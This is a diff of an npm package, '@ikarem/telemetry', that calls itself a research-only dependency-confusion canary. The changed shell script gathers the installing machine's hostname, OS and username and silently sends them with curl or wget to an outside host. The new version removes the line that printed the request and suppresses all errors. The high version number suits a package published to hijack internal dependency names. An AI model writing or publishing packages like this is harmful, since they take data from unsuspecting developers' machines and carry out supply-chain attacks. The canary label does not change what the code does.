@ikarem/telemetry 100.1.9 → 100.1.10

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ikarem/telemetry",
-  "version": "100.1.9",
+  "version": "100.1.10",
   "description": "Research-only dependency confusion canary package",
   "main": "index.js",
   "scripts": {

package/scripts/telemetry.sh

@@ -1,27 +1,84 @@
 #!/bin/sh
-# Telemetry beacon script for supply-chain research
+# Universal telemetry beacon (POSIX-safe)
 
-EVENT=$1
-HOST=$(hostname)
-OS=$(grep '^PRETTY_NAME' /etc/os-release | cut -d= -f2 | tr -d '"')
-USER=$(whoami)
-NONCE=$(head -c 12 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 10)
+EVENT="$1"
+[ -z "$EVENT" ] && EVENT="unknown"
 
-# Function to URL-encode strings (handles spaces and special chars)
+# -------- helpers --------
+
+get_hostname() {
+  hostname 2>/dev/null || uname -n 2>/dev/null || echo "unknown"
+}
+
+get_os() {
+  if [ -f /etc/os-release ]; then
+    awk -F= '/^PRETTY_NAME=/{gsub(/"/,"",$2);print $2}' /etc/os-release
+  else
+    uname -s 2>/dev/null || echo "unknown"
+  fi
+}
+
+get_user() {
+  whoami 2>/dev/null || id -un 2>/dev/null || echo "unknown"
+}
+
+gen_nonce() {
+  if command -v base64 >/dev/null 2>&1; then
+    head -c 16 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 10
+  else
+    date +%s 2>/dev/null || echo "nonce"
+  fi
+}
+
+# RFC 3986–safe URL encoding
 urlencode() {
-  # Use printf and sed to replace unsafe chars
-  printf '%s' "$1" | sed -e 's/ /%20/g' -e 's/"/%22/g' -e "s/'/%27/g"
+  printf '%s' "$1" | awk '
+  BEGIN {
+    for (i = 0; i < 256; i++) {
+      c = sprintf("%c", i)
+      if (c ~ /[A-Za-z0-9_.~-]/) o[c] = c
+      else o[c] = sprintf("%%%02X", i)
+    }
+  }
+  {
+    for (i = 1; i <= length($0); i++) {
+      c = substr($0, i, 1)
+      printf "%s", o[c]
+    }
+  }'
+}
+
+send_request() {
+  URL="$1"
+
+  if command -v curl >/dev/null 2>&1; then
+    curl -fsS "$URL" >/dev/null 2>&1 || true
+  elif command -v wget >/dev/null 2>&1; then
+    wget -qO- "$URL" >/dev/null 2>&1 || true
+  else
+    true
+  fi
 }
 
-ENC_HOST=$(urlencode "$HOST")
-ENC_OS=$(urlencode "$OS")
-ENC_USER=$(urlencode "$USER")
-ENC_NONCE=$(urlencode "$NONCE")
+# -------- collect data --------
+
+HOST="$(get_hostname)"
+OS="$(get_os)"
+USER="$(get_user)"
+NONCE="$(gen_nonce)"
+
+ENC_HOST="$(urlencode "$HOST")"
+ENC_OS="$(urlencode "$OS")"
+ENC_USER="$(urlencode "$USER")"
+ENC_NONCE="$(urlencode "$NONCE")"
+ENC_EVENT="$(urlencode "$EVENT")"
+
+BASE_URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence"
 
-URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.9&event=$EVENT&hostname=$ENC_HOST&os=$ENC_OS&whoami=$ENC_USER&nonce=$ENC_NONCE"
+URL="$BASE_URL?package=telemetry&ver=100.1.9&event=$ENC_EVENT&hostname=$ENC_HOST&os=$ENC_OS&whoami=$ENC_USER&nonce=$ENC_NONCE"
 
-echo "Sending telemetry: $URL"
+# -------- fire & forget --------
+send_request "$URL"
 
-# Send telemetry, ignore errors so install/update doesn’t break
-curl -fsS "$URL" || true
+exit 0